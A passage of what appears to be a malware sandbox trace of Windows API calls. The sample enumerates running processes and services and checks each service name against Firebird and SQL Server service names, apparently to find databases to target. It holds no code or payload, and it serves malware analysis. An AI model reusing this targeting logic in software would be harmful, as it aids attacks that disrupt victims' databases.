lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0147.380] lstrlenW (lpString="utg2.exe") returned 8 [0147.380] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="counsel-directed-receivers.exe")) returned 1 [0147.381] lstrlenW (lpString="counsel-directed-receivers.exe") returned 30 [0147.381] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0147.381] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0147.381] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.382] lstrlenW (lpString="svchost.exe") returned 11 [0147.382] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.382] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.382] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0147.383] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0147.383] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11f0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.384] lstrlenW (lpString="conhost.exe") returned 11 [0147.384] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3dc, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0147.384] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0147.384] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x123c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.385] lstrlenW (lpString="conhost.exe") returned 11 [0147.385] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0147.385] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0147.385] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x13dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0147.386] lstrlenW (lpString="powershell.exe") returned 14 [0147.386] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.386] lstrlenW (lpString="conhost.exe") returned 11 [0147.386] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0147.387] lstrlenW (lpString="TiWorker.exe") returned 12 [0147.387] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0147.387] lstrlenW (lpString="sppsvc.exe") returned 10 [0147.387] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="powershell.exe")) returned 1 [0147.388] lstrlenW (lpString="powershell.exe") returned 14 [0147.388] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.388] lstrlenW (lpString="conhost.exe") returned 11 [0147.388] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x170, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0147.389] lstrlenW (lpString="taskhostw.exe") returned 13 [0147.389] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="NS2.exe")) returned 1 [0147.389] lstrlenW (lpString="NS2.exe") returned 7 [0147.389] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe48, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.390] lstrlenW (lpString="conhost.exe") returned 11 [0147.390] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0147.390] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0147.390] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0147.391] lstrlenW (lpString="dllhost.exe") returned 11 [0147.391] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0147.391] lstrlenW (lpString="winhost.exe") returned 11 [0147.391] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0147.392] lstrlenW (lpString="cmd.exe") returned 7 [0147.392] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0147.392] lstrlenW (lpString="conhost.exe") returned 11 [0147.392] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x8b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0147.392] CloseHandle (hObject=0x27c) returned 1 [0147.392] Sleep (dwMilliseconds=0x1f4) [0148.246] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6eeba8 [0148.426] EnumServicesStatusExW (in: hSCManager=0x6eeba8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0148.432] GetLastError () returned 0xea [0148.432] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1e24) returned 0x70b540 [0148.433] EnumServicesStatusExW (in: hSCManager=0x6eeba8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x70b540, cbBufSize=0x1e24, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x70b540, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0148.436] CloseServiceHandle (hSCObject=0x6eeba8) returned 1 [0148.442] lstrlenW (lpString="Appinfo") returned 7 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0148.442] lstrlenW (lpString="AppXSvc") returned 7 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0148.442] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0148.442] lstrlenW (lpString="Audiosrv") returned 8 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0148.442] lstrlenW (lpString="BFE") returned 3 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0148.442] lstrlenW (lpString="BITS") returned 4 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0148.442] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0148.442] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0148.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0148.442] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0148.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0148.443] lstrlenW (lpString="CDPSvc") returned 6 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0148.443] lstrlenW (lpString="ClipSVC") returned 7 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0148.443] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0148.443] lstrlenW (lpString="CryptSvc") returned 8 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0148.443] lstrlenW (lpString="DcomLaunch") returned 10 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0148.443] lstrlenW (lpString="Dhcp") returned 4 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0148.443] lstrlenW (lpString="Dnscache") returned 8 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0148.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0148.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0148.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0148.443] lstrlenW (lpString="DoSvc") returned 5 [0148.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0148.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0148.444] lstrlenW (lpString="DPS") returned 3 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0148.444] lstrlenW (lpString="DusmSvc") returned 7 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0148.444] lstrlenW (lpString="EventLog") returned 8 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0148.444] lstrlenW (lpString="EventSystem") returned 11 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0148.444] lstrlenW (lpString="gpsvc") returned 5 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0148.444] lstrlenW (lpString="iphlpsvc") returned 8 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0148.444] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0148.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0148.444] lstrlenW (lpString="KeyIso") returned 6 [0148.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0148.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0148.444] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0148.445] lstrlenW (lpString="LanmanServer") returned 12 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0148.445] lstrlenW (lpString="LanmanWorkstation") returned 17 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0148.445] lstrlenW (lpString="lfsvc") returned 5 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0148.445] lstrlenW (lpString="LicenseManager") returned 14 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0148.445] lstrlenW (lpString="lmhosts") returned 7 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0148.445] lstrlenW (lpString="LSM") returned 3 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0148.445] lstrlenW (lpString="MpsSvc") returned 6 [0148.445] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0148.445] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0148.445] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0148.445] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0148.445] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0148.446] lstrlenW (lpString="NcbService") returned 10 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0148.446] lstrlenW (lpString="netprofm") returned 8 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0148.446] lstrlenW (lpString="NlaSvc") returned 6 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0148.446] lstrlenW (lpString="nsi") returned 3 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0148.446] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0148.446] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0148.446] lstrlenW (lpString="PcaSvc") returned 6 [0148.446] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0148.446] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0148.446] lstrcmpiW 